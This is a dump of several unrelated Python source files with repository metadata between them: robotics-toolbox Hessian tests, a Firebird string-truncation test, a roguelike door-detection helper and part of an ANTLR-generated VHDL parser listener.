-9.65242924e-02, 1.45842251e-03, -3.24608603e-02, 0.00000000e00, ], [ -1.07195463e-02, -9.83518983e-03, -1.01688580e-02, 1.45842251e-03, -1.05221866e-03, 2.09794626e-01, 0.00000000e00, ], [ 1.03187865e-01, -1.99678676e-01, 1.07973135e-01, -3.24608603e-02, 2.09794626e-01, -4.04324654e-02, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], [ 0.00000000e00, -6.34981134e-01, -4.04611266e-01, 2.23596800e-02, -7.48714002e-02, -5.93773551e-03, 0.00000000e00, ], [ 0.00000000e00, -4.04611266e-01, 2.07481281e-02, -6.83089775e-02, 4.72662062e-03, -2.05994912e-02, 0.00000000e00, ], [ 0.00000000e00, 2.23596800e-02, -6.83089775e-02, -3.23085806e-01, 5.69641385e-03, -1.00311930e-01, 0.00000000e00, ], [ 0.00000000e00, -7.48714002e-02, 4.72662062e-03, 5.69641385e-03, 5.40000550e-02, -2.69041502e-02, 0.00000000e00, ], [ 0.00000000e00, -5.93773551e-03, -2.05994912e-02, -1.00311930e-01, -2.69041502e-02, -9.98142073e-02, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ -9.07021273e-18, -2.77555756e-17, -2.77555756e-17, -1.11022302e-16, -2.77555756e-17, 0.00000000e00, -2.77555756e-17, ], [ -1.69967143e-01, -1.97756387e-17, 4.11786040e-17, -1.48932398e-16, -5.07612940e-17, -8.38219650e-17, -4.90138154e-17, ], [ -1.95778638e-01, 1.66579116e-01, -1.38777878e-17, 1.04083409e-17, -1.38777878e-17, 3.46944695e-18, 0.00000000e00, ], [ -9.79165111e-01, -3.28841647e-02, -9.97525009e-01, -4.16333634e-17, -1.14491749e-16, 1.38777878e-17, -6.24500451e-17, ], [ -1.84470262e-01, 1.22464303e-01, -3.97312016e-02, 7.41195745e-01, -2.77555756e-17, 1.12757026e-16, 2.77555756e-17, ], [ -9.82748279e-01, -2.14206274e-02, -9.87832342e-01, 6.67336352e-02, -7.31335770e-01, 2.08166817e-17, -6.07153217e-17, ], [ -1.83758244e-01, 1.27177529e-01, -3.36043908e-02, 7.68210453e-01, 5.62842325e-03, 7.58497864e-01, 0.00000000e00, ], ], [ [ 1.29458954e-16, -1.11022302e-16, 8.67361738e-17, -4.16333634e-17, 5.55111512e-17, 2.77555756e-17, 5.55111512e-17, ], [ -9.85449730e-01, -6.36381327e-17, -1.02735399e-16, -1.83043043e-17, -5.63484308e-17, 8.08886307e-18, 1.07112702e-18, ], [ 3.37672585e-02, 9.65806345e-01, 8.32667268e-17, -2.55871713e-17, 1.07552856e-16, 2.08166817e-17, -5.20417043e-18, ], [ -6.16735653e-02, -1.90658563e-01, -5.39111251e-02, -6.59194921e-17, -2.77555756e-17, 2.38524478e-17, -4.16333634e-17, ], [ 6.68449878e-01, 7.10033786e-01, 6.30795483e-01, -8.48905588e-02, 0.00000000e00, 3.46944695e-17, 2.77555756e-17, ], [ -1.35361558e-01, -1.24194307e-01, -1.28407717e-01, 1.84162966e-02, -1.32869389e-02, 2.77555756e-17, -2.08166817e-17, ], [ 6.37462344e-01, 7.37360525e-01, 5.99489263e-01, -7.71850655e-02, -4.08633244e-02, 2.09458434e-02, 0.00000000e00, ], ], [ [ 0.00000000e00, -6.59521910e-17, -1.31033786e-16, -1.92457571e-16, 1.54134782e-17, -7.69804929e-17, 1.11140361e-17, ], [ 0.00000000e00, -2.77555756e-17, 7.15573434e-17, 1.65666092e-16, 1.38777878e-17, -8.67361738e-18, 3.46944695e-17, ], [ 0.00000000e00, -1.98669331e-01, 8.67361738e-18, -1.46584134e-16, 6.02816408e-17, -3.12250226e-17, 6.11490025e-17, ], [ 0.00000000e00, -9.54435515e-01, 4.51380881e-02, 1.38777878e-17, 1.08420217e-16, 3.46944695e-18, 6.24500451e-17, ], [ 0.00000000e00, -2.95400686e-01, -1.24639152e-01, -6.65899738e-01, -4.85722573e-17, -5.20417043e-18, -5.55111512e-17, ], [ 0.00000000e00, -9.45442009e-01, 5.96856167e-02, 7.19317248e-02, 6.81888149e-01, -2.77555756e-17, 1.04083409e-17, ], [ 0.00000000e00, -2.89432165e-01, -1.18596498e-01, -6.35513913e-01, 5.24032975e-03, -6.51338823e-01, 0.00000000e00, ], ], ] ) ans_new = np.empty((7, 6, 7)) for i in range(7): ans_new[i, :, :] = ans[:, :, i] J = r.jacob0(q1, tool=ee) nt.assert_array_almost_equal(r.hessian0(q1, tool=ee), ans_new) nt.assert_array_almost_equal(r.hessian0(q2, tool=SE3(ee)), ans_new) nt.assert_array_almost_equal(r.hessian0(q3, tool=ee), ans_new) nt.assert_array_almost_equal(r.hessian0(q4, tool=ee), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) def test_hessiane(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 + ee q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) H0 = r.hessian0(q1) He = np.empty((r.n, 6, r.n)) T = r.eval(q1, include_base=False) for i in range(r.n): He[i, :, :] = tr2jac(T.T) @ H0[i, :, :] J = r.jacobe(q1) nt.assert_array_almost_equal(r.hessiane(q1), He) nt.assert_array_almost_equal(r.hessiane(q2), He) nt.assert_array_almost_equal(r.hessiane(q3), He) nt.assert_array_almost_equal(r.hessiane(q4), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) def test_hessiane_tool(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) ee = ee.fkine([]) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) H0 = r.hessian0(q1, tool=ee) He = np.empty((r.n, 6, r.n)) T = r.eval(q1, tool=ee, include_base=False) for i in range(r.n): He[i, :, :] = tr2jac(T.T) @ H0[i, :, :] J = r.jacobe(q1, tool=ee) nt.assert_array_almost_equal(r.hessiane(q1, tool=ee), He) nt.assert_array_almost_equal(r.hessiane(q2, tool=SE3(ee)), He) nt.assert_array_almost_equal(r.hessiane(q3, tool=ee), He) nt.assert_array_almost_equal(r.hessiane(q4, tool=ee), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) nt.assert_array_almost_equal(r.hessiane(Je=J), He) def test_hessian_sym(self): x = sympy.Symbol("x") q2 = np.array([0, x]) rx = rtb.ETS(rtb.ET.Rx(jindex=0)) ry = rtb.ETS(rtb.ET.Ry(jindex=0)) rz = rtb.ETS(rtb.ET.Rz(jindex=0)) tx = rtb.ETS(rtb.ET.tx(jindex=0)) ty = rtb.ETS(rtb.ET.ty(jindex=0)) tz = rtb.ETS(rtb.ET.tz(jindex=1)) a = rtb.ETS(rtb.ET.SE3(np.eye(4))) r = tx + ty + tz + rx + ry + rz + a J0 = r.jacob0(q2) Je = r.jacobe(q2) ans = np.array( [ [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], ], [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], ], [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], ], [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, -1.0], [0.0, 0.0, 0.0, 0.0, 1.0, 0.0], ], [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 1.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], ], [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0], ], ] ) nt.assert_almost_equal(r.hessian0(q2), ans) nt.assert_almost_equal(r.hessiane(q2), ans) nt.assert_almost_equal(r.hessian0(J0=J0), ans) nt.assert_almost_equal(r.hessiane(Je=Je), ans) def test_plot(self): q2 = np.array([0, 1, 2, 3, 4, 5]) rx = rtb.ETS(rtb.ET.Rx(jindex=0)) ry = rtb.ETS(rtb.ET.Ry(jindex=1)) rz = rtb.ETS(rtb.ET.Rz(jindex=2)) tx = rtb.ETS(rtb.ET.tx(jindex=3, qlim=[-1, 1])) ty = rtb.ETS(rtb.ET.ty(jindex=4, qlim=[-1, 1])) tz = rtb.ETS(rtb.ET.tz(jindex=5, qlim=[-1, 1])) a = rtb.ETS(rtb.ET.SE3(np.eye(4))) r = tx + ty + tz + rx + ry + rz + a r.plot(q=q2, block=False) def test_teach(self): x = sympy.Symbol("x") q2 = np.array([0, 1, 2, 3, 4, 5]) rx = rtb.ETS(rtb.ET.Rx(jindex=0)) ry = rtb.ETS(rtb.ET.Ry(jindex=1)) rz = rtb.ETS(rtb.ET.Rz(jindex=2)) tx = rtb.ETS(rtb.ET.tx(jindex=3, qlim=[-1, 1])) ty = rtb.ETS(rtb.ET.ty(jindex=4, qlim=[-1, 1])) tz = rtb.ETS(rtb.ET.tz(jindex=5, qlim=[-1, 1])) a = rtb.ETS(rtb.ET.SE3(np.eye(4))) r = tx + ty + tz + rx + ry + rz + a r.teach(q=q2, block=False) if __name__ == "__main__": unittest.main()

33.306042

97

0.36155

6,976

58,985

3.012185

0.054759

0.048065

0.066959

0.083948

0.884262

0.870223

0.848332

0.827583

0.807167

0.778423

0

0.313539

0.501246

58,985

1,770

98

33.324859

0.399742

0.006358

0

0.729974

0

0.00323

0.004796

0

0.080103

1

0.01938

false

0

0.004522

0

0.024548

0.001292

0

null

0

1

0

1

0

1

0

1

0

null

0

10

145f394b6569128cfc93535144b819c1532e2e95

60

py

Python

bilevel_imaging_toolbox/bilevel_solvers.py

dvillacis/BilevelImagingToolbox

99b259499b68141283601ccddb5732bb38f44d24

[ "BSD-2-Clause-FreeBSD" ]

2

2020-11-13T07:44:26.000Z

2021-06-01T21:09:00.000Z

bilevel_imaging_toolbox/bilevel_solvers.py

dvillacis/BilevelImagingToolbox

99b259499b68141283601ccddb5732bb38f44d24

[ "BSD-2-Clause-FreeBSD" ]

null

bilevel_imaging_toolbox/bilevel_solvers.py

dvillacis/BilevelImagingToolbox

99b259499b68141283601ccddb5732bb38f44d24

[ "BSD-2-Clause-FreeBSD" ]

1

2020-09-09T15:34:18.000Z

import numpy as np def adjoint_single_gaussian(): pass

12

30

0.75

9

60

4.777778

1

0

0.2

60

4

31

15

0.895833

0

1

0.333333

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

7

1498f05b1161461f3b39bc46f82a949b1b88f969

6,120

py

Python

tests/bugs/core_2875_test.py

reevespaul/firebird-qa

98f16f425aa9ab8ee63b86172f959d63a2d76f21

[ "MIT" ]

null

tests/bugs/core_2875_test.py

reevespaul/firebird-qa

98f16f425aa9ab8ee63b86172f959d63a2d76f21

[ "MIT" ]

null

tests/bugs/core_2875_test.py

reevespaul/firebird-qa

98f16f425aa9ab8ee63b86172f959d63a2d76f21

[ "MIT" ]

null

#coding:utf-8 # # id: bugs.core_2875 # title: String right truncation error when char column longer than 4096 bytes compared with string constant # decription: # tracker_id: CORE-2875 # min_versions: ['2.5.0'] # versions: 2.5.0 # qmid: None import pytest from firebird.qa import db_factory, isql_act, Action # version: 2.5.0 # resources: None substitutions_1 = [('[ \t]+', ' ')] init_script_1 = """ create table tab1 (id int, txt varchar(5000) character set none); commit; insert into tab1 values (1, rpad('', 5000, '1')); commit; """ db_1 = db_factory(sql_dialect=3, init=init_script_1) test_script_1 = """ update tab1 set id = 2 where txt = _win1251 'x'; commit; set list on; select id, txt from tab1; """ act_1 = isql_act('db_1', test_script_1, substitutions=substitutions_1) expected_stdout_1 = """ ID 1 TXT 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 """ @pytest.mark.version('>=2.5.0') def test_1(act_1: Action): act_1.expected_stdout = expected_stdout_1 act_1.execute() assert act_1.clean_expected_stdout == act_1.clean_stdout

127.5

5,033

0.934477

166

6,120

34.23494

0.487952

0.004223

0.002112

0.003871

0

0.864288

0.04281

6,120

47

5,034

130.212766

0.105838

0.047059

0

0.230769

0

0.916151

0.859107

0

1

0

0.038462

1

0.038462

false

0

0.076923

0

0.115385

0

1

null

0

1

0

1

0

1

null

1

0

8

14b4df57818df718ea257d5323cf5aa460d2e35b

1,166

py

Python

game_map/door_check.py

tamamiyasita/Roguelike-Tutorial-2020

db4d4e5369010567bc39bdd404c4f3a7998670fd

[ "MIT" ]

null

game_map/door_check.py

tamamiyasita/Roguelike-Tutorial-2020

db4d4e5369010567bc39bdd404c4f3a7998670fd

[ "MIT" ]

null

game_map/door_check.py

tamamiyasita/Roguelike-Tutorial-2020

db4d4e5369010567bc39bdd404c4f3a7998670fd

[ "MIT" ]

null

from constants import * def door_check(tiles, x, y): #北 if tiles[x][y] == TILE.EMPTY and tiles[x][y+1] == TILE.EMPTY and tiles[x][y-1] == TILE.EMPTY\ and tiles[x-1][y] == TILE.WALL and tiles[x+1][y] == TILE.WALL\ and tiles[x-1][y+1] == TILE.EMPTY and tiles[x+1][y+1] == TILE.EMPTY: return "north" #南 if tiles[x][y] == TILE.EMPTY and tiles[x][y+1] == TILE.EMPTY and tiles[x][y-1] == TILE.EMPTY\ and tiles[x-1][y] == TILE.WALL and tiles[x+1][y] == TILE.WALL\ and tiles[x-1][y-1] == TILE.EMPTY and tiles[x+1][y-1] == TILE.EMPTY: return "south" #東 if tiles[x][y] == TILE.EMPTY and tiles[x+1][y] == TILE.EMPTY and tiles[x-1][y] == TILE.EMPTY\ and tiles[x][y-1] == TILE.WALL and tiles[x][y+1] == TILE.WALL\ and tiles[x+1][y+1] == TILE.EMPTY and tiles[x+1][y-1] == TILE.EMPTY: return "east" #西 if tiles[x][y] == TILE.EMPTY and tiles[x+1][y] == TILE.EMPTY and tiles[x-1][y] == TILE.EMPTY\ and tiles[x][y-1] == TILE.WALL and tiles[x][y+1] == TILE.WALL\ and tiles[x-1][y+1] == TILE.EMPTY and tiles[x-1][y-1] == TILE.EMPTY: return "west"

38.866667

97

0.546312

221

1,166

2.877828

0.108597

0.273585

0.339623

0.427673

0.90566

0

0.035754

0.232419

1,166

30

98

38.866667

0.67486

0.003431

0

0.444444

0

0.015531

0

1

0.055556

false

0

0.055556

0

0.333333

0

null

1

0

null

0

9

dce6af4314d482abf988c6d4478f6bc43afc1478

641

py

Python

__init__.py

Limespy/AetherDB

112ff44d2e696db730c89043355022296af33377

[ "MIT" ]

null

__init__.py

Limespy/AetherDB

112ff44d2e696db730c89043355022296af33377

[ "MIT" ]

4

2021-01-04T08:23:29.000Z

2021-01-04T08:33:16.000Z

__init__.py

Limespy/AetherDB

112ff44d2e696db730c89043355022296af33377

[ "MIT" ]

null

#!/usr/bin/python3 # -*- coding: utf-8 -*- """ AWAMMMMM MMMMMMMMMMMM MM MM MMMMMMMM MMMMMA AWMM MM MM MM MM MM RA AW MM MM MM MM MM MM RD AW MM MM MM MM MM MM RW AW MMMMMMM MM MMMMMMMMMM MMMMMMMM MMWMMW AW MM MM MM MM MM MM WA AWMMMMMMM MM MM MM MM MM WA AW MM MM MM MM MM MM WA AW MMMMMMM MM MM MM MMMMMMMM MM WA""" from .API import *

42.733333

66

0.369735

75

641

3.16

0.32

0.523207

0.582278

0.540084

0.35443

0.312236

0.135021

0

0.007722

0.595944

641

14

67

45.785714

0.907336

0.918877

0

1

0

true

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

7

dcf609499fa9493b76d2cb2a9ea10f89ed625ce0

84,456

py

Python

src/dovado_rtl/antlr/generated/vhdl/vhdlListener.py

DavideConficconi/dovado

60abf088d301cbb96660238a4f39ea2fe5cbbb18

[ "MIT" ]

null

src/dovado_rtl/antlr/generated/vhdl/vhdlListener.py

DavideConficconi/dovado

60abf088d301cbb96660238a4f39ea2fe5cbbb18

[ "MIT" ]

null

src/dovado_rtl/antlr/generated/vhdl/vhdlListener.py

DavideConficconi/dovado

60abf088d301cbb96660238a4f39ea2fe5cbbb18

[ "MIT" ]

null

# Generated from vhdl.g4 by ANTLR 4.9.3 from antlr4 import * if __name__ is not None and "." in __name__: from .vhdlParser import vhdlParser else: from vhdlParser import vhdlParser # This class defines a complete listener for a parse tree produced by vhdlParser. class vhdlListener(ParseTreeListener): # Enter a parse tree produced by vhdlParser#abstract_literal. def enterAbstract_literal(self, ctx:vhdlParser.Abstract_literalContext): pass # Exit a parse tree produced by vhdlParser#abstract_literal. def exitAbstract_literal(self, ctx:vhdlParser.Abstract_literalContext): pass # Enter a parse tree produced by vhdlParser#access_type_definition. def enterAccess_type_definition(self, ctx:vhdlParser.Access_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#access_type_definition. def exitAccess_type_definition(self, ctx:vhdlParser.Access_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#across_aspect. def enterAcross_aspect(self, ctx:vhdlParser.Across_aspectContext): pass # Exit a parse tree produced by vhdlParser#across_aspect. def exitAcross_aspect(self, ctx:vhdlParser.Across_aspectContext): pass # Enter a parse tree produced by vhdlParser#actual_designator. def enterActual_designator(self, ctx:vhdlParser.Actual_designatorContext): pass # Exit a parse tree produced by vhdlParser#actual_designator. def exitActual_designator(self, ctx:vhdlParser.Actual_designatorContext): pass # Enter a parse tree produced by vhdlParser#actual_parameter_part. def enterActual_parameter_part(self, ctx:vhdlParser.Actual_parameter_partContext): pass # Exit a parse tree produced by vhdlParser#actual_parameter_part. def exitActual_parameter_part(self, ctx:vhdlParser.Actual_parameter_partContext): pass # Enter a parse tree produced by vhdlParser#actual_part. def enterActual_part(self, ctx:vhdlParser.Actual_partContext): pass # Exit a parse tree produced by vhdlParser#actual_part. def exitActual_part(self, ctx:vhdlParser.Actual_partContext): pass # Enter a parse tree produced by vhdlParser#adding_operator. def enterAdding_operator(self, ctx:vhdlParser.Adding_operatorContext): pass # Exit a parse tree produced by vhdlParser#adding_operator. def exitAdding_operator(self, ctx:vhdlParser.Adding_operatorContext): pass # Enter a parse tree produced by vhdlParser#aggregate. def enterAggregate(self, ctx:vhdlParser.AggregateContext): pass # Exit a parse tree produced by vhdlParser#aggregate. def exitAggregate(self, ctx:vhdlParser.AggregateContext): pass # Enter a parse tree produced by vhdlParser#alias_declaration. def enterAlias_declaration(self, ctx:vhdlParser.Alias_declarationContext): pass # Exit a parse tree produced by vhdlParser#alias_declaration. def exitAlias_declaration(self, ctx:vhdlParser.Alias_declarationContext): pass # Enter a parse tree produced by vhdlParser#alias_designator. def enterAlias_designator(self, ctx:vhdlParser.Alias_designatorContext): pass # Exit a parse tree produced by vhdlParser#alias_designator. def exitAlias_designator(self, ctx:vhdlParser.Alias_designatorContext): pass # Enter a parse tree produced by vhdlParser#alias_indication. def enterAlias_indication(self, ctx:vhdlParser.Alias_indicationContext): pass # Exit a parse tree produced by vhdlParser#alias_indication. def exitAlias_indication(self, ctx:vhdlParser.Alias_indicationContext): pass # Enter a parse tree produced by vhdlParser#allocator. def enterAllocator(self, ctx:vhdlParser.AllocatorContext): pass # Exit a parse tree produced by vhdlParser#allocator. def exitAllocator(self, ctx:vhdlParser.AllocatorContext): pass # Enter a parse tree produced by vhdlParser#architecture_body. def enterArchitecture_body(self, ctx:vhdlParser.Architecture_bodyContext): pass # Exit a parse tree produced by vhdlParser#architecture_body. def exitArchitecture_body(self, ctx:vhdlParser.Architecture_bodyContext): pass # Enter a parse tree produced by vhdlParser#architecture_declarative_part. def enterArchitecture_declarative_part(self, ctx:vhdlParser.Architecture_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#architecture_declarative_part. def exitArchitecture_declarative_part(self, ctx:vhdlParser.Architecture_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#architecture_statement. def enterArchitecture_statement(self, ctx:vhdlParser.Architecture_statementContext): pass # Exit a parse tree produced by vhdlParser#architecture_statement. def exitArchitecture_statement(self, ctx:vhdlParser.Architecture_statementContext): pass # Enter a parse tree produced by vhdlParser#architecture_statement_part. def enterArchitecture_statement_part(self, ctx:vhdlParser.Architecture_statement_partContext): pass # Exit a parse tree produced by vhdlParser#architecture_statement_part. def exitArchitecture_statement_part(self, ctx:vhdlParser.Architecture_statement_partContext): pass # Enter a parse tree produced by vhdlParser#array_nature_definition. def enterArray_nature_definition(self, ctx:vhdlParser.Array_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#array_nature_definition. def exitArray_nature_definition(self, ctx:vhdlParser.Array_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#array_type_definition. def enterArray_type_definition(self, ctx:vhdlParser.Array_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#array_type_definition. def exitArray_type_definition(self, ctx:vhdlParser.Array_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#assertion. def enterAssertion(self, ctx:vhdlParser.AssertionContext): pass # Exit a parse tree produced by vhdlParser#assertion. def exitAssertion(self, ctx:vhdlParser.AssertionContext): pass # Enter a parse tree produced by vhdlParser#assertion_statement. def enterAssertion_statement(self, ctx:vhdlParser.Assertion_statementContext): pass # Exit a parse tree produced by vhdlParser#assertion_statement. def exitAssertion_statement(self, ctx:vhdlParser.Assertion_statementContext): pass # Enter a parse tree produced by vhdlParser#association_element. def enterAssociation_element(self, ctx:vhdlParser.Association_elementContext): pass # Exit a parse tree produced by vhdlParser#association_element. def exitAssociation_element(self, ctx:vhdlParser.Association_elementContext): pass # Enter a parse tree produced by vhdlParser#association_list. def enterAssociation_list(self, ctx:vhdlParser.Association_listContext): pass # Exit a parse tree produced by vhdlParser#association_list. def exitAssociation_list(self, ctx:vhdlParser.Association_listContext): pass # Enter a parse tree produced by vhdlParser#attribute_declaration. def enterAttribute_declaration(self, ctx:vhdlParser.Attribute_declarationContext): pass # Exit a parse tree produced by vhdlParser#attribute_declaration. def exitAttribute_declaration(self, ctx:vhdlParser.Attribute_declarationContext): pass # Enter a parse tree produced by vhdlParser#attribute_designator. def enterAttribute_designator(self, ctx:vhdlParser.Attribute_designatorContext): pass # Exit a parse tree produced by vhdlParser#attribute_designator. def exitAttribute_designator(self, ctx:vhdlParser.Attribute_designatorContext): pass # Enter a parse tree produced by vhdlParser#attribute_specification. def enterAttribute_specification(self, ctx:vhdlParser.Attribute_specificationContext): pass # Exit a parse tree produced by vhdlParser#attribute_specification. def exitAttribute_specification(self, ctx:vhdlParser.Attribute_specificationContext): pass # Enter a parse tree produced by vhdlParser#base_unit_declaration. def enterBase_unit_declaration(self, 